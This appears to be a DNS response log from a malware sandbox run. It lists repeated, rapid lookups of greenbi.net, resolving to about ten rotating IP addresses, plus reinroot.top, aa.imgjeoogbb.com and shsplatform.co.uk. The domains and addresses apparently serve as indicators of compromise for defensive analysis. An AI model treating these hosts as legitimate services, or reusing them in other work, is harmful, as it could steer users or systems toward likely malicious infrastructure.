Jul 27, 2023 18:27:30.833573103 CEST	8.8.8.8	192.168.2.4	0xa207	No error (0)	greenbi.net		84.224.216.79	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:30.833573103 CEST	8.8.8.8	192.168.2.4	0xa207	No error (0)	greenbi.net		190.219.108.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:30.833573103 CEST	8.8.8.8	192.168.2.4	0xa207	No error (0)	greenbi.net		189.194.9.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:30.833573103 CEST	8.8.8.8	192.168.2.4	0xa207	No error (0)	greenbi.net		190.139.250.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:30.833573103 CEST	8.8.8.8	192.168.2.4	0xa207	No error (0)	greenbi.net		181.230.206.248	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:30.833573103 CEST	8.8.8.8	192.168.2.4	0xa207	No error (0)	greenbi.net		190.187.52.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:30.833573103 CEST	8.8.8.8	192.168.2.4	0xa207	No error (0)	greenbi.net		123.140.161.243	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:30.833573103 CEST	8.8.8.8	192.168.2.4	0xa207	No error (0)	greenbi.net		62.217.232.10	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:30.833573103 CEST	8.8.8.8	192.168.2.4	0xa207	No error (0)	greenbi.net		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:30.833573103 CEST	8.8.8.8	192.168.2.4	0xa207	No error (0)	greenbi.net		188.36.122.174	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:31.357866049 CEST	8.8.8.8	192.168.2.4	0x41b4	No error (0)	greenbi.net		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:31.357866049 CEST	8.8.8.8	192.168.2.4	0x41b4	No error (0)	greenbi.net		188.36.122.174	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:31.357866049 CEST	8.8.8.8	192.168.2.4	0x41b4	No error (0)	greenbi.net		84.224.216.79	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:31.357866049 CEST	8.8.8.8	192.168.2.4	0x41b4	No error (0)	greenbi.net		190.219.108.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:31.357866049 CEST	8.8.8.8	192.168.2.4	0x41b4	No error (0)	greenbi.net		189.194.9.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:31.357866049 CEST	8.8.8.8	192.168.2.4	0x41b4	No error (0)	greenbi.net		190.139.250.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:31.357866049 CEST	8.8.8.8	192.168.2.4	0x41b4	No error (0)	greenbi.net		181.230.206.248	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:31.357866049 CEST	8.8.8.8	192.168.2.4	0x41b4	No error (0)	greenbi.net		190.187.52.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:31.357866049 CEST	8.8.8.8	192.168.2.4	0x41b4	No error (0)	greenbi.net		123.140.161.243	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:31.357866049 CEST	8.8.8.8	192.168.2.4	0x41b4	No error (0)	greenbi.net		62.217.232.10	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:31.745388031 CEST	8.8.8.8	192.168.2.4	0x9112	No error (0)	greenbi.net		190.187.52.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:31.745388031 CEST	8.8.8.8	192.168.2.4	0x9112	No error (0)	greenbi.net		123.140.161.243	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:31.745388031 CEST	8.8.8.8	192.168.2.4	0x9112	No error (0)	greenbi.net		62.217.232.10	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:31.745388031 CEST	8.8.8.8	192.168.2.4	0x9112	No error (0)	greenbi.net		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:31.745388031 CEST	8.8.8.8	192.168.2.4	0x9112	No error (0)	greenbi.net		188.36.122.174	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:31.745388031 CEST	8.8.8.8	192.168.2.4	0x9112	No error (0)	greenbi.net		84.224.216.79	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:31.745388031 CEST	8.8.8.8	192.168.2.4	0x9112	No error (0)	greenbi.net		190.219.108.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:31.745388031 CEST	8.8.8.8	192.168.2.4	0x9112	No error (0)	greenbi.net		189.194.9.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:31.745388031 CEST	8.8.8.8	192.168.2.4	0x9112	No error (0)	greenbi.net		190.139.250.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:31.745388031 CEST	8.8.8.8	192.168.2.4	0x9112	No error (0)	greenbi.net		181.230.206.248	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:35.012557030 CEST	8.8.8.8	192.168.2.4	0xd027	No error (0)	greenbi.net		62.217.232.10	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:35.012557030 CEST	8.8.8.8	192.168.2.4	0xd027	No error (0)	greenbi.net		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:35.012557030 CEST	8.8.8.8	192.168.2.4	0xd027	No error (0)	greenbi.net		188.36.122.174	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:35.012557030 CEST	8.8.8.8	192.168.2.4	0xd027	No error (0)	greenbi.net		84.224.216.79	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:35.012557030 CEST	8.8.8.8	192.168.2.4	0xd027	No error (0)	greenbi.net		190.219.108.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:35.012557030 CEST	8.8.8.8	192.168.2.4	0xd027	No error (0)	greenbi.net		189.194.9.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:35.012557030 CEST	8.8.8.8	192.168.2.4	0xd027	No error (0)	greenbi.net		190.139.250.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:35.012557030 CEST	8.8.8.8	192.168.2.4	0xd027	No error (0)	greenbi.net		181.230.206.248	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:35.012557030 CEST	8.8.8.8	192.168.2.4	0xd027	No error (0)	greenbi.net		190.187.52.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:35.012557030 CEST	8.8.8.8	192.168.2.4	0xd027	No error (0)	greenbi.net		123.140.161.243	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:35.241724968 CEST	8.8.8.8	192.168.2.4	0x89d4	No error (0)	shsplatform.co.uk		80.66.203.53	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:35.884227037 CEST	8.8.8.8	192.168.2.4	0x4be1	No error (0)	greenbi.net		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:35.884227037 CEST	8.8.8.8	192.168.2.4	0x4be1	No error (0)	greenbi.net		188.36.122.174	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:35.884227037 CEST	8.8.8.8	192.168.2.4	0x4be1	No error (0)	greenbi.net		84.224.216.79	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:35.884227037 CEST	8.8.8.8	192.168.2.4	0x4be1	No error (0)	greenbi.net		190.219.108.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:35.884227037 CEST	8.8.8.8	192.168.2.4	0x4be1	No error (0)	greenbi.net		189.194.9.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:35.884227037 CEST	8.8.8.8	192.168.2.4	0x4be1	No error (0)	greenbi.net		190.139.250.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:35.884227037 CEST	8.8.8.8	192.168.2.4	0x4be1	No error (0)	greenbi.net		181.230.206.248	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:35.884227037 CEST	8.8.8.8	192.168.2.4	0x4be1	No error (0)	greenbi.net		190.187.52.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:35.884227037 CEST	8.8.8.8	192.168.2.4	0x4be1	No error (0)	greenbi.net		123.140.161.243	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:35.884227037 CEST	8.8.8.8	192.168.2.4	0x4be1	No error (0)	greenbi.net		62.217.232.10	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:36.385977983 CEST	8.8.8.8	192.168.2.4	0x20a	No error (0)	greenbi.net		188.36.122.174	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:36.385977983 CEST	8.8.8.8	192.168.2.4	0x20a	No error (0)	greenbi.net		84.224.216.79	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:36.385977983 CEST	8.8.8.8	192.168.2.4	0x20a	No error (0)	greenbi.net		190.219.108.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:36.385977983 CEST	8.8.8.8	192.168.2.4	0x20a	No error (0)	greenbi.net		189.194.9.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:36.385977983 CEST	8.8.8.8	192.168.2.4	0x20a	No error (0)	greenbi.net		190.139.250.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:36.385977983 CEST	8.8.8.8	192.168.2.4	0x20a	No error (0)	greenbi.net		181.230.206.248	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:36.385977983 CEST	8.8.8.8	192.168.2.4	0x20a	No error (0)	greenbi.net		190.187.52.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:36.385977983 CEST	8.8.8.8	192.168.2.4	0x20a	No error (0)	greenbi.net		123.140.161.243	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:36.385977983 CEST	8.8.8.8	192.168.2.4	0x20a	No error (0)	greenbi.net		62.217.232.10	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:36.385977983 CEST	8.8.8.8	192.168.2.4	0x20a	No error (0)	greenbi.net		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:36.734685898 CEST	8.8.8.8	192.168.2.4	0x2842	No error (0)	greenbi.net		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:36.734685898 CEST	8.8.8.8	192.168.2.4	0x2842	No error (0)	greenbi.net		188.36.122.174	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:36.734685898 CEST	8.8.8.8	192.168.2.4	0x2842	No error (0)	greenbi.net		84.224.216.79	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:36.734685898 CEST	8.8.8.8	192.168.2.4	0x2842	No error (0)	greenbi.net		190.219.108.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:36.734685898 CEST	8.8.8.8	192.168.2.4	0x2842	No error (0)	greenbi.net		189.194.9.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:36.734685898 CEST	8.8.8.8	192.168.2.4	0x2842	No error (0)	greenbi.net		190.139.250.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:36.734685898 CEST	8.8.8.8	192.168.2.4	0x2842	No error (0)	greenbi.net		181.230.206.248	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:36.734685898 CEST	8.8.8.8	192.168.2.4	0x2842	No error (0)	greenbi.net		190.187.52.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:36.734685898 CEST	8.8.8.8	192.168.2.4	0x2842	No error (0)	greenbi.net		123.140.161.243	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:36.734685898 CEST	8.8.8.8	192.168.2.4	0x2842	No error (0)	greenbi.net		62.217.232.10	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:37.360784054 CEST	8.8.8.8	192.168.2.4	0x2d88	No error (0)	greenbi.net		190.187.52.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:37.360784054 CEST	8.8.8.8	192.168.2.4	0x2d88	No error (0)	greenbi.net		123.140.161.243	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:37.360784054 CEST	8.8.8.8	192.168.2.4	0x2d88	No error (0)	greenbi.net		62.217.232.10	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:37.360784054 CEST	8.8.8.8	192.168.2.4	0x2d88	No error (0)	greenbi.net		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:37.360784054 CEST	8.8.8.8	192.168.2.4	0x2d88	No error (0)	greenbi.net		188.36.122.174	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:37.360784054 CEST	8.8.8.8	192.168.2.4	0x2d88	No error (0)	greenbi.net		84.224.216.79	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:37.360784054 CEST	8.8.8.8	192.168.2.4	0x2d88	No error (0)	greenbi.net		190.219.108.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:37.360784054 CEST	8.8.8.8	192.168.2.4	0x2d88	No error (0)	greenbi.net		189.194.9.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:37.360784054 CEST	8.8.8.8	192.168.2.4	0x2d88	No error (0)	greenbi.net		190.139.250.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:37.360784054 CEST	8.8.8.8	192.168.2.4	0x2d88	No error (0)	greenbi.net		181.230.206.248	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:38.281735897 CEST	8.8.8.8	192.168.2.4	0x92a0	No error (0)	aa.imgjeoogbb.com		154.221.26.108	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:38.656666994 CEST	8.8.8.8	192.168.2.4	0x18e1	No error (0)	greenbi.net		188.36.122.174	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:38.656666994 CEST	8.8.8.8	192.168.2.4	0x18e1	No error (0)	greenbi.net		84.224.216.79	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:38.656666994 CEST	8.8.8.8	192.168.2.4	0x18e1	No error (0)	greenbi.net		190.219.108.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:38.656666994 CEST	8.8.8.8	192.168.2.4	0x18e1	No error (0)	greenbi.net		189.194.9.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:38.656666994 CEST	8.8.8.8	192.168.2.4	0x18e1	No error (0)	greenbi.net		190.139.250.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:38.656666994 CEST	8.8.8.8	192.168.2.4	0x18e1	No error (0)	greenbi.net		181.230.206.248	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:38.656666994 CEST	8.8.8.8	192.168.2.4	0x18e1	No error (0)	greenbi.net		190.187.52.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:38.656666994 CEST	8.8.8.8	192.168.2.4	0x18e1	No error (0)	greenbi.net		123.140.161.243	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:38.656666994 CEST	8.8.8.8	192.168.2.4	0x18e1	No error (0)	greenbi.net		62.217.232.10	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:38.656666994 CEST	8.8.8.8	192.168.2.4	0x18e1	No error (0)	greenbi.net		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:38.966491938 CEST	8.8.8.8	192.168.2.4	0x2e26	No error (0)	greenbi.net		84.224.216.79	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:38.966491938 CEST	8.8.8.8	192.168.2.4	0x2e26	No error (0)	greenbi.net		190.219.108.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:38.966491938 CEST	8.8.8.8	192.168.2.4	0x2e26	No error (0)	greenbi.net		189.194.9.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:38.966491938 CEST	8.8.8.8	192.168.2.4	0x2e26	No error (0)	greenbi.net		190.139.250.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:38.966491938 CEST	8.8.8.8	192.168.2.4	0x2e26	No error (0)	greenbi.net		181.230.206.248	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:38.966491938 CEST	8.8.8.8	192.168.2.4	0x2e26	No error (0)	greenbi.net		190.187.52.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:38.966491938 CEST	8.8.8.8	192.168.2.4	0x2e26	No error (0)	greenbi.net		123.140.161.243	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:38.966491938 CEST	8.8.8.8	192.168.2.4	0x2e26	No error (0)	greenbi.net		62.217.232.10	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:38.966491938 CEST	8.8.8.8	192.168.2.4	0x2e26	No error (0)	greenbi.net		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:38.966491938 CEST	8.8.8.8	192.168.2.4	0x2e26	No error (0)	greenbi.net		188.36.122.174	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:39.457870960 CEST	8.8.8.8	192.168.2.4	0xaf37	No error (0)	greenbi.net		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:39.457870960 CEST	8.8.8.8	192.168.2.4	0xaf37	No error (0)	greenbi.net		188.36.122.174	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:39.457870960 CEST	8.8.8.8	192.168.2.4	0xaf37	No error (0)	greenbi.net		84.224.216.79	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:39.457870960 CEST	8.8.8.8	192.168.2.4	0xaf37	No error (0)	greenbi.net		190.219.108.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:39.457870960 CEST	8.8.8.8	192.168.2.4	0xaf37	No error (0)	greenbi.net		189.194.9.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:39.457870960 CEST	8.8.8.8	192.168.2.4	0xaf37	No error (0)	greenbi.net		190.139.250.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:39.457870960 CEST	8.8.8.8	192.168.2.4	0xaf37	No error (0)	greenbi.net		181.230.206.248	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:39.457870960 CEST	8.8.8.8	192.168.2.4	0xaf37	No error (0)	greenbi.net		190.187.52.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:39.457870960 CEST	8.8.8.8	192.168.2.4	0xaf37	No error (0)	greenbi.net		123.140.161.243	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:39.457870960 CEST	8.8.8.8	192.168.2.4	0xaf37	No error (0)	greenbi.net		62.217.232.10	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:39.714485884 CEST	8.8.8.8	192.168.2.4	0xe2f5	No error (0)	greenbi.net		188.36.122.174	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:39.714485884 CEST	8.8.8.8	192.168.2.4	0xe2f5	No error (0)	greenbi.net		84.224.216.79	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:39.714485884 CEST	8.8.8.8	192.168.2.4	0xe2f5	No error (0)	greenbi.net		190.219.108.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:39.714485884 CEST	8.8.8.8	192.168.2.4	0xe2f5	No error (0)	greenbi.net		189.194.9.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:39.714485884 CEST	8.8.8.8	192.168.2.4	0xe2f5	No error (0)	greenbi.net		190.139.250.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:39.714485884 CEST	8.8.8.8	192.168.2.4	0xe2f5	No error (0)	greenbi.net		181.230.206.248	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:39.714485884 CEST	8.8.8.8	192.168.2.4	0xe2f5	No error (0)	greenbi.net		190.187.52.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:39.714485884 CEST	8.8.8.8	192.168.2.4	0xe2f5	No error (0)	greenbi.net		123.140.161.243	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:39.714485884 CEST	8.8.8.8	192.168.2.4	0xe2f5	No error (0)	greenbi.net		62.217.232.10	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:39.714485884 CEST	8.8.8.8	192.168.2.4	0xe2f5	No error (0)	greenbi.net		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:40.035748959 CEST	8.8.8.8	192.168.2.4	0xf4e	No error (0)	greenbi.net		84.224.216.79	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:40.035748959 CEST	8.8.8.8	192.168.2.4	0xf4e	No error (0)	greenbi.net		190.219.108.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:40.035748959 CEST	8.8.8.8	192.168.2.4	0xf4e	No error (0)	greenbi.net		189.194.9.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:40.035748959 CEST	8.8.8.8	192.168.2.4	0xf4e	No error (0)	greenbi.net		190.139.250.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:40.035748959 CEST	8.8.8.8	192.168.2.4	0xf4e	No error (0)	greenbi.net		181.230.206.248	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:40.035748959 CEST	8.8.8.8	192.168.2.4	0xf4e	No error (0)	greenbi.net		190.187.52.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:40.035748959 CEST	8.8.8.8	192.168.2.4	0xf4e	No error (0)	greenbi.net		123.140.161.243	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:40.035748959 CEST	8.8.8.8	192.168.2.4	0xf4e	No error (0)	greenbi.net		62.217.232.10	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:40.035748959 CEST	8.8.8.8	192.168.2.4	0xf4e	No error (0)	greenbi.net		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:40.035748959 CEST	8.8.8.8	192.168.2.4	0xf4e	No error (0)	greenbi.net		188.36.122.174	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:40.490339041 CEST	8.8.8.8	192.168.2.4	0x57ed	No error (0)	greenbi.net		190.187.52.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:40.490339041 CEST	8.8.8.8	192.168.2.4	0x57ed	No error (0)	greenbi.net		123.140.161.243	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:40.490339041 CEST	8.8.8.8	192.168.2.4	0x57ed	No error (0)	greenbi.net		62.217.232.10	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:40.490339041 CEST	8.8.8.8	192.168.2.4	0x57ed	No error (0)	greenbi.net		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:40.490339041 CEST	8.8.8.8	192.168.2.4	0x57ed	No error (0)	greenbi.net		188.36.122.174	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:40.490339041 CEST	8.8.8.8	192.168.2.4	0x57ed	No error (0)	greenbi.net		84.224.216.79	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:40.490339041 CEST	8.8.8.8	192.168.2.4	0x57ed	No error (0)	greenbi.net		190.219.108.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:40.490339041 CEST	8.8.8.8	192.168.2.4	0x57ed	No error (0)	greenbi.net		189.194.9.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:40.490339041 CEST	8.8.8.8	192.168.2.4	0x57ed	No error (0)	greenbi.net		190.139.250.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:40.490339041 CEST	8.8.8.8	192.168.2.4	0x57ed	No error (0)	greenbi.net		181.230.206.248	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:41.784498930 CEST	8.8.8.8	192.168.2.4	0xfec8	No error (0)	aa.imgjeoogbb.com		154.221.26.108	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:41.929116011 CEST	8.8.8.8	192.168.2.4	0xfa0c	No error (0)	reinroot.top		193.106.174.125	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:42.623966932 CEST	8.8.8.8	192.168.2.4	0xd66	No error (0)	greenbi.net		84.224.216.79	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:42.623966932 CEST	8.8.8.8	192.168.2.4	0xd66	No error (0)	greenbi.net		190.219.108.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:42.623966932 CEST	8.8.8.8	192.168.2.4	0xd66	No error (0)	greenbi.net		189.194.9.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:42.623966932 CEST	8.8.8.8	192.168.2.4	0xd66	No error (0)	greenbi.net		190.139.250.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:42.623966932 CEST	8.8.8.8	192.168.2.4	0xd66	No error (0)	greenbi.net		181.230.206.248	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:42.623966932 CEST	8.8.8.8	192.168.2.4	0xd66	No error (0)	greenbi.net		190.187.52.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:42.623966932 CEST	8.8.8.8	192.168.2.4	0xd66	No error (0)	greenbi.net		123.140.161.243	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:42.623966932 CEST	8.8.8.8	192.168.2.4	0xd66	No error (0)	greenbi.net		62.217.232.10	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:42.623966932 CEST	8.8.8.8	192.168.2.4	0xd66	No error (0)	greenbi.net		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:42.623966932 CEST	8.8.8.8	192.168.2.4	0xd66	No error (0)	greenbi.net		188.36.122.174	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:43.032335997 CEST	8.8.8.8	192.168.2.4	0x6a8d	No error (0)	greenbi.net		190.187.52.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:43.032335997 CEST	8.8.8.8	192.168.2.4	0x6a8d	No error (0)	greenbi.net		123.140.161.243	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:43.032335997 CEST	8.8.8.8	192.168.2.4	0x6a8d	No error (0)	greenbi.net		62.217.232.10	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:43.032335997 CEST	8.8.8.8	192.168.2.4	0x6a8d	No error (0)	greenbi.net		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:43.032335997 CEST	8.8.8.8	192.168.2.4	0x6a8d	No error (0)	greenbi.net		188.36.122.174	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:43.032335997 CEST	8.8.8.8	192.168.2.4	0x6a8d	No error (0)	greenbi.net		84.224.216.79	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:43.032335997 CEST	8.8.8.8	192.168.2.4	0x6a8d	No error (0)	greenbi.net		190.219.108.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:43.032335997 CEST	8.8.8.8	192.168.2.4	0x6a8d	No error (0)	greenbi.net		189.194.9.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:43.032335997 CEST	8.8.8.8	192.168.2.4	0x6a8d	No error (0)	greenbi.net		190.139.250.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:43.032335997 CEST	8.8.8.8	192.168.2.4	0x6a8d	No error (0)	greenbi.net		181.230.206.248	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:44.105756044 CEST	8.8.8.8	192.168.2.4	0x4dbb	No error (0)	greenbi.net		190.187.52.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:44.105756044 CEST	8.8.8.8	192.168.2.4	0x4dbb	No error (0)	greenbi.net		123.140.161.243	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:44.105756044 CEST	8.8.8.8	192.168.2.4	0x4dbb	No error (0)	greenbi.net		62.217.232.10	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:44.105756044 CEST	8.8.8.8	192.168.2.4	0x4dbb	No error (0)	greenbi.net		109.98.58.98	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:44.105756044 CEST	8.8.8.8	192.168.2.4	0x4dbb	No error (0)	greenbi.net		188.36.122.174	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:44.105756044 CEST	8.8.8.8	192.168.2.4	0x4dbb	No error (0)	greenbi.net		84.224.216.79	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:44.105756044 CEST	8.8.8.8	192.168.2.4	0x4dbb	No error (0)	greenbi.net		190.219.108.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:44.105756044 CEST	8.8.8.8	192.168.2.4	0x4dbb	No error (0)	greenbi.net		189.194.9.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:44.105756044 CEST	8.8.8.8	192.168.2.4	0x4dbb	No error (0)	greenbi.net		190.139.250.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:44.105756044 CEST	8.8.8.8	192.168.2.4	0x4dbb	No error (0)	greenbi.net		181.230.206.248	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:45.002316952 CEST	8.8.8.8	192.168.2.4	0x6c94	No error (0)	aa.imgjeoogbb.com		154.221.26.108	A (IP address)	IN (0x0001)	false
Jul 27, 2023 18:27:45.183378935 CEST	8.8.8.8	192.168.2.4	0x4c43	No error (0)	greenbi.net		190.187.52.42	A (IP address)	IN (0x0001)	false
